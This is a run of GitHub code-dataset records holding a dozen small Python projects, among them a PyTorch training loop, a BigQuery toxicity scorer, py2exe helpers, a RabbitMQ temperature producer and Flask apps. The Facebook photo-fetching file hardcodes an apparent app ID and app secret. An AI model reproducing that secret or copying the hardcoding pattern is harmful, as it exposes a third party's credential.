Y_test.to(device)\nX_test = X_test.to(device)\n\n#Creating empty list to track values\ntrain_loss_values = []\ntest_loss_values = []\nepoch_count = []\n\n#!Start the training model loop Remember the Song\nepochs = 200\nfor epoch in range(epochs):\n    model_1.train()\n\n    #1. foward passing\n    Y_pred = model_1(X_train)\n\n    #2 Calculate loss\n    loss = loss_fn(Y_pred,Y_train)\n\n    #3 Optimizer\n    optimizer.zero_grad()\n\n    #4 Perform backpropagation\n    loss.backward()\n\n    #5 Optimizer step\n    optimizer.step()\n\n    ##Testing\n    model_1.eval()\n    with torch.inference_mode():\n        TEST_pred = model_1(X_test)\n\n        TEST_loss = loss_fn(TEST_pred,Y_test)\n\n    #Printing out what's going on\n    if epoch % 10 == 0:\n        # epoch_count.append(epoch)\n        # train_loss_values.append(loss.detach().numpy()) #<- must convert tensor back to numpy array to allow plot\n        # test_loss_values.append(TEST_loss.detach().numpy())\n        print(f'Epoch: {epoch} | MAE Train Loss: {loss} | MAE Test loss: {TEST_loss}')\n\n#%%\n#----------------------Making and evaluating predictions----------------------------#\n#Turning into evaluation mode\nmodel_1.eval()\n\n#Make predictions on the test data\nwith torch.inference_mode():\n    Y_preds = model_1(X_test)\n\n#Checking out model Predictions\n#Note you must convert the prediction reusult back to cpu device to enable plot\nplot_predictions(X_train.cpu(),Y_train.cpu(),X_test.cpu(),Y_test.cpu(),predictions = Y_preds.cpu())\n\n#%%\n#----------------------------Saving and loading the model-------------------------#\nfrom pathlib import PurePath\n# 1. Create models directory\nMODEL_PATH = Path(\"models\")\nMODEL_PATH.mkdir(parents = True,exist_ok = True)\n\n# 2. Create model save path\nMODEL_NAME = \"python_workflow_model1.pth\"\nMODEL_SAVE_PATH = MODEL_PATH / MODEL_NAME\n\n# 3. Saving the model state dict\nprint(f\"Saving model to :{MODEL_SAVE_PATH}\")\ntorch.save(obj = model_1.state_dict(), f = MODEL_SAVE_PATH)\n\n#!Loading the python model\n#Creating a new instance of linear regression model\nloaded_model_1 = LinearRegressionModel()\n\n#Load the saved model_1 state_dict\nloaded_model_1.state_dict(torch.load(MODEL_SAVE_PATH))\n\n#Converting back to the right device\nloaded_model_1.to(device)\n\nprint(f'loaded_model_1 :\\n {loaded_model_1.state_dict()}\\n')\n\n#!Evaluating the loaded model\nloaded_model_1.eval()\nwith torch.inference_mode():\n    loaded_model_1_preds = loaded_model_1(X_test)\n\nprint(f'Are loaded model the same as the original model?\\n{loaded_model_1_preds == Y_preds}\\n')\nprint(f'Y_preds :\\n {Y_preds}\\n')\nprint(f'loaded_model_1_preds :\\n {loaded_model_1_preds}\\n')\n# %%\n","repo_name":"sicajc/New_lab612_training","sub_path":"Week6/Pytorch_Course/Pytorch_WorkFlow/Summurize.py","file_name":"Summurize.py","file_ext":"py","file_size_in_byte":6070,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"24109013178","text":"\n\n\nimport os\nfrom functools import lru_cache\n#from pprint import pprint\nimport gc\n\nfrom dotenv import load_dotenv\n\nfrom app import server_sleep, seek_confirmation\nfrom app.decorators.number_decorators import fmt_n\nfrom app.bq_service import BigQueryService, generate_timestamp, split_into_batches\nfrom app.toxicity.model_manager import ModelManager, CHECKPOINT_NAME\n\nload_dotenv()\n\nLIMIT = int(os.getenv(\"LIMIT\", default=\"25_000\")) # number of records to fetch from bq at a time\nBATCH_SIZE = int(os.getenv(\"BATCH_SIZE\", default=\"1_000\")) # number of texts to score at a time (ideal is 1K, see README)\n\nclass ToxicityScorer:\n    def __init__(self, limit=LIMIT, batch_size=BATCH_SIZE, bq_service=None, model_manager=None):\n        self.limit = limit\n        self.batch_size = batch_size\n        self.bq_service = bq_service or BigQueryService()\n        self.mgr = model_manager or ModelManager()\n\n        print(\"----------------\")\n        print(\"TOXICITY SCORER...\")\n        print(\"  MODEL CHECKPOINT:\", self.mgr.checkpoint_name.upper(), self.mgr.checkpoint_url)\n        print(\"  SCORES TABLE NAME:\", self.scores_table_name)\n        print(\"  LIMIT:\", fmt_n(self.limit))\n        print(\"  BATCH SIZE:\", fmt_n(self.batch_size))\n\n        self.predict = self.mgr.predict_scores # method alias\n\n        seek_confirmation()\n\n    def perform(self):\n        self.mgr.load_model_state()\n\n        print(\"----------------\")\n        print(f\"FETCHING TEXTS...\")\n        print(f\"SCORING TEXTS IN BATCHES...\")\n\n        batch = []\n        counter = 0\n        for row in self.fetch_texts():\n            batch.append(row)\n\n            if len(batch) >= self.batch_size:\n                counter += len(batch)\n                print(\"  \", generate_timestamp(), \"|\", fmt_n(counter))\n\n                self.process_batch(batch)\n                batch = []\n\n        # process final (potentially incomplete) batch\n        if any(batch):\n            counter += len(batch)\n            print(\"  \", generate_timestamp(), \"|\", fmt_n(counter))\n\n            self.process_batch(batch)\n            batch = []\n\n        #del batch\n        #gc.collect()\n\n    def fetch_texts(self):\n        sql = f\"\"\"\n            SELECT DISTINCT\n                txt.status_text_id\n                ,txt.status_text\n            FROM `{self.bq_service.dataset_address}.status_texts` txt\n            LEFT JOIN `{self.scores_table_name}` scores ON scores.status_text_id = txt.status_text_id\n            WHERE scores.status_text_id IS NULL\n        \"\"\"\n        if self.limit:\n            sql += f\" LIMIT {int(self.limit)} \"\n        return self.bq_service.execute_query(sql) # API call\n\n    def process_batch(self, batch):\n        texts = []\n        text_ids = []\n        for text_row in batch:\n            texts.append(text_row[\"status_text\"])\n            text_ids.append(text_row[\"status_text_id\"])\n\n        results = self.predict(texts)\n\n        score_rows = []\n        for text_id, result in zip(text_ids, results):\n            score_row = result.round(8).tolist()\n            score_row.insert(0, text_id) # adds the text_id to the front of the list (proper column order -- see table definition)\n            score_rows.append(score_row)\n\n        self.save_scores(score_rows)\n\n    def save_scores(self, values):\n        \"\"\"Params : values (list of lists corresponding with the proper column order)\"\"\"\n        return self.bq_service.client.insert_rows(self.scores_table, values) # API call\n\n    @property\n    @lru_cache(maxsize=None)\n    def scores_table(self):\n        return self.bq_service.client.get_table(self.scores_table_name) # API call\n\n    @property\n    @lru_cache(maxsize=None)\n    def scores_table_name(self):\n        model_name = self.mgr.checkpoint_name.lower().replace(\"-\",\"_\").replace(\";\",\"\") # using this model name in queries, so be super safe about SQL injection, although its not a concern right now\n        #return f\"{self.bq_service.dataset_address}.toxicity_scores_{model_name}\"\n        return f\"{self.bq_service.dataset_address}.toxicity_scores_{model_name}_ckpt\"\n\n    def count_scores(self):\n        sql = f\"\"\"\n            SELECT count(DISTINCT status_text_id) as scored_text_count\n            FROM `{self.scores_table_name}`\n        \"\"\"\n        results = self.bq_service.execute_query(sql) # API call\n        return list(results)[0][\"scored_text_count\"]\n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n\n    scorer = ToxicityScorer()\n\n    print(\"----------------\")\n    print(\"SCORES COUNT:\", fmt_n(scorer.count_scores()))\n\n    scorer.perform()\n\n    print(\"----------------\")\n    print(\"JOB COMPLETE!\")\n    print(\"----------------\")\n    print(\"SCORES COUNT:\", fmt_n(scorer.count_scores()))\n\n    del scorer\n    gc.collect()\n    server_sleep(seconds=5*60) # give the server a break before restarting\n","repo_name":"s2t2/tweet-analysis-2020","sub_path":"app/toxicity/checkpoint_scorer.py","file_name":"checkpoint_scorer.py","file_ext":"py","file_size_in_byte":4743,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"}
{"seq_id":"41301959871","text":"'''\nStatic files to copy relative to distribution root.\n\nHelper functions to populate ``data_files`` property of ``py2exe`` setup.\n'''\nfrom __future__ import (absolute_import, division, print_function,\n                        unicode_literals)\nimport glob\nimport itertools as it\nimport os\nimport re\n\nimport path_helpers as ph\n\n\n__all__ = ['DEFAULT_STATIC_PREFIX', 'get_data_files', 'group_data_files']\n\n\nDEFAULT_STATIC_PREFIX = {'__core__': {'files': [{'source': '$PY2EXE_HELPERS/scripts/run-in.bat', 'target': 'Scripts/wrappers/conda'},\n                                                {'source': 'MSVCP90.dll', 'target': ''},\n                                                {'source': '$PY2EXE_HELPERS/scripts/py2exe-python-emulation.bat', 'target': 'etc/conda/activate.d'}]},\n                         'microdrop': {'files': [{'source': '$CONDA_PREFIX/etc/conda/', 'target': 'etc/conda'},\n                                                 {'source': '$CONDA_PREFIX/etc/microdrop/', 'target': 'etc/microdrop'}]},\n                         'nbformat': {'files': [{'source': '$MODULE/', 'target': 'nbformat'}]},\n                         'notebook': {'files': [{'source': '$PY2EXE_HELPERS/scripts/jupyter-notebook.py', 'target': 'Scripts'},\n                                                {'source': '$MODULE/static/', 'target': 'notebook/static'},\n                                                {'source': '$MODULE/templates/', 'target': 'notebook/templates'}]},\n                         'numpy': {'files': [{'source': 'libiomp5md.dll', 'target': ''},\n                                             {'source': 'mkl_*.dll', 'target': ''}]},\n                         'pandoc': {'files': [{'source': '$CONDA_PREFIX/Scripts/pandoc.exe', 'target': 'Scripts'}]},\n                         'platformio': {'files': [{'source': '$PY2EXE_HELPERS/scripts/pio.bat', 'target': 'Scripts'},\n                                                  {'source': '$MODULE/builder/', 'target': 'platformio/builder'},\n                                                  {'source': '$CONDA_PREFIX/share/platformio/', 'target': 'share/platformio'}]},\n                         'pygst-0.10': {'module': 'gst', 'files': [{'source': '$MODULE/bin/*.dll', 'target': ''},\n                                                                   {'source': '$PY2EXE_HELPERS/scripts/gst-plugins-path.bat', 'target': 'etc/conda/activate.d'},\n                                                                   {'source': '$MODULE/plugins/*.dll', 'target': 'gst-plugins'}]},\n                         'pygtk2': {'module': 'gtk', 'files': [{'source': '$MODULE/../gtk_runtime/share/themes/MS-Windows/gtk-2.0/', 'target': 'etc/gtk-2.0'},\n                                                               {'source': '$MODULE/../gtk_runtime/lib/gtk-2.0/2.10.0/engines/*.dll', 'target': 'lib/gtk-2.0/2.10.0/engines'},\n                                                               {'source': '$MODULE/../gtk_runtime/share/icons/hicolor/', 'target': 'share/icons/hicolor'}]},\n                         'pyzmq': {'module': 'zmq', 'files': [{'source': '$MODULE/libzmq.pyd', 'target': ''}]},\n                        }\n\ntry:\n    import pymunk\n    DEFAULT_STATIC_PREFIX['pymunk'] = {'files': [{'source':\n                                                  pymunk.cp.chipmunk_lib._name,\n                                                  'target': ''}]}\nexcept ImportError:\n    # `pymunk` is not installed in build environment.\n    pass\n\n\ndef walk_syspath(name_glob):\n    '''Find all files matching specified pattern on executable path.\n\n    Parameters\n    ----------\n    name_glob : str\n        Glob file pattern to match (e.g., accepts ``*`` as wildcard).\n\n    Yields\n    ------\n    path_helpers.path\n        Path to file matching specified pattern found on executable path.\n    '''\n    for p in [ph.path(p).expand() for p in os.environ['PATH'].split(';')]:\n        if p.isdir():\n            for f in p.files(name_glob):\n                yield f\n\n\ndef find_executables(name_glob):\n    '''Return all distinct executables matching specified pattern.\n\n    If multiple executables are found with the same filename, use the first\n    path found in order of paths in ``$PATH`` environment variable.\n\n    Parameters\n    ----------\n    name_glob : str\n        Glob file pattern to match (e.g., accepts ``*`` as wildcard).\n\n    Returns\n    -------\n    list[path_helpers.path]\n        List of matching executable paths.\n    '''\n    all_matching_dlls = list(walk_syspath(name_glob))\n    return zip(*sorted({f.name: f for f in reversed(all_matching_dlls)}\n                       .items()))[1]\n\n\ndef get_package_prefix_files(package_specs, static_prefix=None):\n    static_prefix = static_prefix or DEFAULT_STATIC_PREFIX\n    package_specs = package_specs[:]\n    package_specs.insert(0, '__core__')\n\n    # Save shell envionment.\n    init_env = os.environ.copy()\n\n    try:\n        os.environ['PY2EXE_HELPERS'] = ph.path(__file__).parent\n        os.environ['SRC'] = os.getcwd()\n        static_files = {}\n        for package_spec_i in package_specs:\n            name_i = re.split(r'=+', package_spec_i)[0]\n            if name_i in static_prefix:\n                package_config_i = static_prefix[name_i]\n                try:\n                    os.environ['MODULE'] = __import__(package_config_i\n                                                      .get('module',\n                                                           name_i)).__path__[0]\n                except ImportError:\n                    if 'MODULE' in os.environ:\n                        del os.environ['MODULE']\n\n                def _package_prefix_files(prefix_files):\n                    files = []\n                    for f in prefix_files:\n                        source_ij = ph.path(f['source']).expand()\n                        if '*' in source_ij and glob.glob(source_ij):\n                            files.extend(\n                                _package_prefix_files([{'source': p,\n                                                        'target': f['target']}\n                                                       for p in\n                                                       glob.glob(source_ij)]))\n                            continue\n                        elif source_ij.isdir():\n                            files.extend([{'source': p, 'target':\n                                           ph.path(f['target'])\n                                           .joinpath(source_ij\n                                                     .relpathto(p.parent))\n                                           .normpath()}\n                                          for p in source_ij.walkfiles()])\n                            continue\n                        elif source_ij.isfile():\n                            pass\n                        elif source_ij.ext.lower() == '.dll':\n                            exes_ij = find_executables(source_ij)\n                            files.extend(\n                                _package_prefix_files([{'source': p,\n                                                        'target': f['target']}\n                                                       for p in exes_ij]))\n                            continue\n                        elif not source_ij.isfile():\n                            continue\n                        files.append({'source': source_ij,\n                                      'target': f['target']})\n                    return files\n\n                files = _package_prefix_files(package_config_i.get('files',\n                                                                   []))\n                static_files[name_i] = files\n    finally:\n        os.environ = init_env\n    return static_files\n\n\ndef get_data_files(package_specs, static_prefix=None):\n    static_files = get_package_prefix_files(package_specs,\n                                            static_prefix=static_prefix)\n    return sorted([tuple(map(str, (f['target'], f['source'])))\n                   for s in static_files for f in static_files[s]])\n\n\ndef group_data_files(data_files):\n    '''Group list of data file tuples by destination.\n\n    Parameters\n    ----------\n    data_files : list[(str, str)]\n        List of ``(<relative dest dir path>, <absolute source file path>)``\n        items.\n\n    Returns\n    -------\n    list[(str, list[str])]\n        Input source file paths grouped by relative destination directory.\n    '''\n    return [(i, [f[1] for f in g]) for i, g in it.groupby(data_files,\n                                                          lambda x: x[0])]\n","repo_name":"sci-bots/py2exe-helpers","sub_path":"src/py2exe_helpers/static_prefix.py","file_name":"static_prefix.py","file_ext":"py","file_size_in_byte":8567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"35383228272","text":"\"\"\"\nFaça um jogo para o usuário adivinhar qual\na palavra secreta.\n- Você vai propor uma palavra secreta\nqualquer e vai dar a possibilidade para\no usuário digitar apenas uma letra.\n- Quando o usuário digitar uma letra, você \nvai conferir se a letra digitada está\nna palavra secreta.\n    - Se a letra digitada estiver na\n    palavra secreta; exiba a letra;\n    - Se a letra digitada não estiver\n    na palavra secreta; exiba *.\nFaça a contagem de tentativas do seu\nusuário.\n\"\"\"\n\nimport os\n\npalavra = 'Arroz'.lower()\npalavra_escondida = ''\nletras_acertadas = ''\ntentativas = 0\ncont = 0\n\n\n\nwhile True:\n    letra = input('Digite uma letra: ')\n\n    if len(letra) > 1:\n        print('Digite apenas uma letra.')\n        continue\n\n    if letra in palavra:\n        letras_acertadas += letra\n        tentativas += 1\n    else:\n        tentativas += 1\n\n    palavra_formada = ''\n    for l in palavra:\n        if l in letras_acertadas:\n            palavra_formada += l\n        else:\n            palavra_formada += '*'\n\n    print(f'Palavra formada: {palavra_formada}')\n    \n    if palavra_formada == palavra:\n        os.system('cls')\n        print('--------------------')\n        print('VOCÊ GANHOU!!!!!!!!')\n        print(f'A palavra era {palavra}')\n        break\n\nprint(f'Total de tentativas: {tentativas}')","repo_name":"Pedro-Thomazi/exercicios-de-python","sub_path":"ex-palavra-secreta.py","file_name":"ex-palavra-secreta.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"12730089903","text":"from collections import Counter, defaultdict\nfishies = [int(i) for i in open('day06.txt', 'r').read().strip().split(',')]\n# Part 1:\ndef populate(f, lim):\n  i = 0\n  # use Counter (dictionary) for counting only occurences of each fish type (0-8).\n  f = Counter(f)\n  while i < lim:\n    a = defaultdict(int)\n    for l in f:\n      if l > 0:\n        # decrease fish counter by 1\n        a[l-1] += f[l]\n      else:\n        # fish counter is 0 -> reset its counter to 6 and increase 'new fish' counter (8)\n        a[6] += f[l]\n        a[8] += f[l]\n    f = a\n    i += 1\n  return sum(f.values())\nprint('Part 1 result is:', populate(fishies.copy(), 80))\n# Part 2:\nprint('Part 2 result is:', populate(fishies.copy(), 256))\n","repo_name":"tobstern/AOC_2021","sub_path":"day06.py","file_name":"day06.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"38573821057","text":"import re\nfrom dateutil.parser import parse\n\n#-----------------------------------------------------START COMMON FUNCTIONS-----------------------------------------------------------------\n\n# function to check which type of sms\ndef checkTypeOfSMS(word, str):\n    if word in str:\n        return True\n    else:\n        return False\n#extract and format date in the string\ndef extractDate(str):\n\twords = str.split()\n\tdatepart =''\n\ttimepart =''\n\ttimepart2 =''\n\terrorReturn='Error parsing date!'\n\tfor word in words:\n\t\tif '/' in word:\n\t\t\tdatepart = word\n\t\telif ':' in word:\n\t\t\ttimepart = word\n\t\telif (word=='PM') or (word=='AM') or (word=='PM.') or (word=='AM.'):\n\t\t\ttimepart2 = word\n\tfulldate = datepart + ' ' + timepart+' '+timepart2\n\ttry:\n\t\tfulldate = parse(fulldate,fuzzy=True)\n\t\tfulldate = fulldate.strftime(\"%d-%m-%Y %H:%M:%S\")\n\texcept ValueError:\n\t\treturn errorReturn\n\treturn fulldate\n#-----------------------------------------------------END COMMON FUNCTIONS-----------------------------------------------------------------\n","repo_name":"onsabimana/py-pesa","sub_path":"extractors/common_functions.py","file_name":"common_functions.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"42605531182","text":"import requests, json, pdb\n\nclass Facebook(object):\n\n\tdef __init__(self, token=None):\n\t\tself.app_id = '230178707104819'\n\t\tself.app_secret = '7fc59c3c5a7800804b73e9d2c1006d05'\n\t\tself.app_redirect_url = 'http://127.0.0.1:8000'\n\t\tself.app_scope = 'id, user_photos'\n\t\tself.token = token\n\n\tdef get_photos(self):\n\n\t\t# Get Photos\n\t\tfql_url = 'https://graph.facebook.com/fql?q=\\\n\t\t\t\t\tSELECT+src_big+FROM+photo+WHERE+aid+IN+(\\\n\t\t\t\t\tSELECT+aid+FROM+album+WHERE+owner=me())\\\n\t\t\t\t\t&access_token={}'.format(self.token)\n\t\tq = requests.get(fql_url)\n\t\tphotos = q.json\n\t\tresponse = []\n\t\tfor img in photos['data']:\n\t\t\tresponse.append(img['src_big'])\n\t\treturn response\n","repo_name":"dmpeters/pcloud","sub_path":"pcloud/repos/facebook/photos.py","file_name":"photos.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"945269775","text":"import smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.mime.base import MIMEBase\nfrom email import encoders\n\nfromaddr = 'seu_email'\ntoaddr = 'destinatario_do_email'\n\nmsg = MIMEMultipart()\n\nmsg['From'] = fromaddr\nmsg['To'] = toaddr\nmsg['Subject'] = \"Videos aulas gratis\"\n\nhtml = \"\"\" \n<html>\n    <body>\n        <p>\n        Oi, <br>\n        Como vai você? <br>\n        <a href=\"https://www.udemy.com/\"> Video aulas Gratutitas </a>\n        Muitas aulas para assistir\n        </p>\n    </body>\n</html>\n\"\"\"\nparte1 = MIMEText(html, \"html\")\nmsg.attach(parte1)\n\ns = smtplib.SMTP('smtp.gmail.com', 587)\n\ns.starttls()\nsenha = 'sua_senha'\ns.login(fromaddr, senha)\ntext = msg.as_string()\n\ns.sendmail(fromaddr, toaddr,text)\n\n","repo_name":"nataliak-kikuti/Robos-com-python-automatizando-processos","sub_path":"4 - Envio de email automatico/3 - Página HTML dentro do corpo de um e-mail.py","file_name":"3 - Página HTML dentro do corpo de um e-mail.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"5330674628","text":"\"\"\"\r\n    This program sends messages that contain data from temperature sensors to a queue on the RabbitMQ server. \r\n    Our thermometer records three temperatures every thirty seconds (two readings every minute). The three temperatures are:\r\n        -the temperature of the smoker itself.\r\n        -the temperature of the first of two foods, Food A.\r\n        -the temperature for the second of two foods, Food B.\r\n\r\n    Author: Jarrod Sims\r\n    Date: September 21, 2023\r\n\"\"\"\r\n\r\nimport pika\r\nimport sys\r\nimport webbrowser\r\nimport logging\r\nimport time\r\nimport csv\r\nfrom twilio.rest import Client\r\nimport json \r\n\r\n\r\n###### Text alerts will be implemented in the consumer code in the future ######\r\n# Twilio credentials\r\n# Open config file\r\nfile_path = \"config.txt\" \r\ntry:\r\n    # Open the text file for reading\r\n    with open(file_path, \"r\") as file:\r\n        # Load the JSON data from the file\r\n        config_data = json.load(file)\r\n\r\n    # Access the recipient_phone_number and auth_token values\r\n    recipient_phone_number = config_data.get(\"recipient_phone_number\")\r\n    auth_token = config_data.get(\"auth_token\")\r\n\r\n    # Check if the values exist and are not empty\r\n    if recipient_phone_number and auth_token:\r\n        print(f\"Recipient Phone Number: {recipient_phone_number}\")\r\n        print(f\"Auth Token: {auth_token}\")\r\n    else:\r\n        print(\"Recipient phone number or auth token not found or empty in the file.\")\r\n\r\nexcept FileNotFoundError:\r\n    print(f\"The file '{file_path}' was not found.\")\r\nexcept json.JSONDecodeError:\r\n    print(f\"Error decoding JSON data in the file '{file_path}'. Ensure the file is formatted correctly.\")\r\nexcept Exception as e:\r\n    print(f\"An error occurred: {str(e)}\")\r\n    \r\n# Set up basic configuration for logging\r\nlogging.basicConfig(\r\n    level=logging.INFO, format=\"%(asctime)s - %(levelname)s - %(message)s\"\r\n)\r\n\r\n# Configure RabbitMQ\r\nrabbit_host = \"localhost\"\r\nrabbit_port = \"15672\"\r\n# create a blocking connection to the RabbitMQ server\r\nconn = pika.BlockingConnection(pika.ConnectionParameters(rabbit_host))\r\n# use the connection to create a communication channel\r\nch = conn.channel()\r\nSHOW_OFFER = True #If true, RabbitMQ admin site will open automatically\r\n\r\n#Insert CSV file\r\ncsv_file_name = \"smoker-temps.csv\"\r\n\r\ndef offer_rabbitmq_admin_site(host, port):\r\n    # Offer to open the RabbitMQ Admin website\r\n    global SHOW_OFFER\r\n    if SHOW_OFFER:\r\n        webbrowser.open_new(\"http://localhost:15672/#/queues\")\r\n        print()\r\n\r\n# Function to send data to RabbitMQ queue\r\ndef send_temps(channel, queue_name, timestamp, temperature):\r\n    if temperature is not None:  # Check if temperature is not None\r\n        channel.basic_publish(exchange=\"\", routing_key=queue_name, body=f\"{timestamp},{temperature}\")\r\n        logging.info(f\"Sent to {queue_name} Queue: Timestamp={timestamp}, Temperature={temperature}\")\r\n\r\n\r\ndef main():\r\n    try:\r\n        # Delete queues if they exist and declare new durable queues for three temperature \r\n        ch.queue_delete(queue=\"smoker\")\r\n        ch.queue_delete(queue=\"food-A\")\r\n        ch.queue_delete(queue=\"food-B\")\r\n        ch.queue_declare(queue=\"smoker\", durable=True)\r\n        ch.queue_declare(queue=\"food-A\", durable=True)\r\n        ch.queue_declare(queue=\"food-B\", durable=True)\r\n        \r\n        # open and read the csv file\r\n        with open(csv_file_name, \"r\", newline=\"\") as csv_file:\r\n                reader = csv.reader(csv_file)\r\n                next(reader)\r\n\r\n                # iterate over each row of the csv and label each column's values with a variable\r\n                for row in reader:\r\n                    timestamp = row[0]\r\n                    smoker_temp = float(row[1]) if row [1] else None \r\n                    food_a_temp = float(row[2]) if row [2] else None \r\n                    food_b_temp = float(row[3]) if row [3] else None \r\n\r\n                    #send temps to a different RabbitMQ queue\r\n                    send_temps(ch, \"smoker\", timestamp, smoker_temp)\r\n                    send_temps(ch, \"food-A\", timestamp, food_a_temp)\r\n                    send_temps(ch, \"food-B\", timestamp, food_b_temp)\r\n\r\n                    # Wait for 30 seconds before processing the next batch of records\r\n                    time.sleep(1)\r\n                    # print a message to the console for the user\r\n                    logging.info(f\"Sent: Timestamp={timestamp}, Smoker Temp={smoker_temp}, Food A Temp={food_a_temp}, Food B Temp={food_b_temp}\")\r\n                    logging.info(\"Type CTRL+C to exit the program\")\r\n    \r\n    except pika.exceptions.AMQPConnectionError as e:\r\n        logging.error(f\"Error: Connection to RabbitMQ server failed: {e}\")\r\n        sys.exit(1)\r\n    finally:\r\n        # close the connection to the server\r\n        conn.close()\r\n\r\n# Standard Python idiom to indicate main program entry point\r\n# This allows us to import this module and use its functions\r\n# without executing the code below.\r\n# If this is the program being run, then execute the code below\r\n\r\nif __name__ == \"__main__\":\r\n\r\n    offer_rabbitmq_admin_site(rabbit_host, rabbit_port)\r\n    main()","repo_name":"simsjarrod/Streaming_05_Smart_Smoker","sub_path":"bbq_producer.py","file_name":"bbq_producer.py","file_ext":"py","file_size_in_byte":5107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"26286955530","text":"prime_numbers = []\nuser_input = int(input(\"Please enter a number higher than 1!\"))\n\nnumb_dict = {n: False for n in range(2, user_input + 1)}\n\ndef is_prime(numb):\n    for i in numb_dict:\n        if numb != i and numb % i == 0:\n            numb_dict[numb] = True\n\nfor numb in numb_dict:\n    is_prime(numb)\n\nfor key, value in zip(numb_dict.keys(), numb_dict.values()):\n    if value == False:\n        prime_numbers.append(key)\n    \nfor prime_numb in prime_numbers:\n    print(f\"{prime_numb} is a prime number!\")","repo_name":"Ckmedsker/College","sub_path":"Past-Classes/SDEV-140/Module4/MedskerCameronM4_Ex1.py","file_name":"MedskerCameronM4_Ex1.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"70564982543","text":"import flask\nfrom flask import Flask, render_template, request\nfrom src.data_preproc import make_simple, df_stand, get_dummy, model_readable, content_extract, chain_reaction\nfrom src.run_model import run_model, recommendation\n\n#create instance\napp=Flask(__name__)\n\n#flask! run index!\n@app.route('/')\n@app.route('/index')\ndef index():\n    return flask.render_template('index.html')\n\n@app.route('/price',methods = ['POST'])\ndef price():\n    if request.method == 'POST':\n\n        #getting URL as a string\n        posturl = request.form['posturl']\n        \n        #extrating the informations from URL posting\n        title, _, price, _, carinfo_df, df_data = chain_reaction(posturl)\n\n        #running model, returns recommendation\n        recommend_price, delta_price, rec_search = recommendation(price, df_data)\n  \n        return render_template(\"price.html\",posturl=posturl, delta_price=delta_price, rec_search=rec_search, post_title=title, post_price=price, recommend_price=recommend_price, carinfo_table=carinfo_df)\n\nif __name__ == '__main__':\n    app.run(port=5000, debug=True)","repo_name":"junswj/car-price","sub_path":"flask_app/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"1373679179","text":"import sqlalchemy\nimport base64\nimport os\nfrom flask import request\nfrom flask import current_app, url_for, redirect\nfrom flask_login import current_user\nfrom flask import Blueprint, render_template\nimport pandas as pd\n\nmain_bp = Blueprint(\n    'main_bp',\n    __name__,\n    template_folder='templates',\n    static_folder='static'\n)\n# instructions\n# https://cloud.google.com/sql/docs/mysql/connect-run\n\n\n@main_bp.route(\"/index_gentelella\")\ndef index_gentelella():\n    # demonstrates frontend, from https://github.com/afourmy/flask-gentelella\n    return render_template(\"index_dash.html\")\n\n@main_bp.route('/task', methods=[\"GET\"])\ndef task():\n    current_app.logger.info(\"hi\")\n    # df = pd.read_sql(\"select * from test_df\", con=ENG)\n    return render_template(\"d3.html\")\n\n@main_bp.route('/task2', methods=[\"GET\"])\ndef task2():\n    current_app.logger.info(\"hi\")\n    # df = pd.read_sql(\"select * from test_df\", con=ENG)\n    return render_template(\"d3_2.html\")\n\n@main_bp.route('/download_cv', methods=[\"GET\"])\ndef download_cv():\n    from flask import send_from_directory\n    return send_from_directory(\"/app\", \"Edmiston_2020.pdf\", as_attachment=True)\n\n\n@main_bp.route('/test_schema', methods=[\"GET\"])\ndef test_schema():\n    # init_all\n    from database.schema import ExampleData\n    from extensions import db\n    \n    e = ExampleData(alias=\"hello\")\n    db.session.add(e)\n    db.session.commit()\n    print(\"number of pts\", len(ExampleData.query.all()))\n    return redirect(url_for(\"main_bp.index\"))\n\n@main_bp.route('/', methods=[\"GET\"])\ndef index():\n    return render_template(\"index.html\")\n\n# [START run_pubsub_handler]\n@main_bp.route('/ab', methods=['POST'])\ndef ab():\n    # pubsub push for ETL subscription\n    envelope = request.get_json()\n    if not envelope:\n        msg = 'no Pub/Sub message received'\n        print(f'error: {msg}')\n        return f'Bad Request: {msg}', 400\n\n    if not isinstance(envelope, dict) or 'message' not in envelope:\n        msg = 'invalid Pub/Sub message format'\n        print(f'error: {msg}')\n        return f'Bad Request: {msg}', 400\n\n    pubsub_message = envelope['message']\n\n    name = 'World'\n    if isinstance(pubsub_message, dict) and 'data' in pubsub_message:\n        name = base64.b64decode(pubsub_message['data']).decode('utf-8').strip()\n\n    print(f'Hello {name}!')\n\n    return ('', 204)\n# [END run_pubsub_handler]\n","repo_name":"pedmiston/portfolio","sub_path":"views/main_bp.py","file_name":"main_bp.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"}
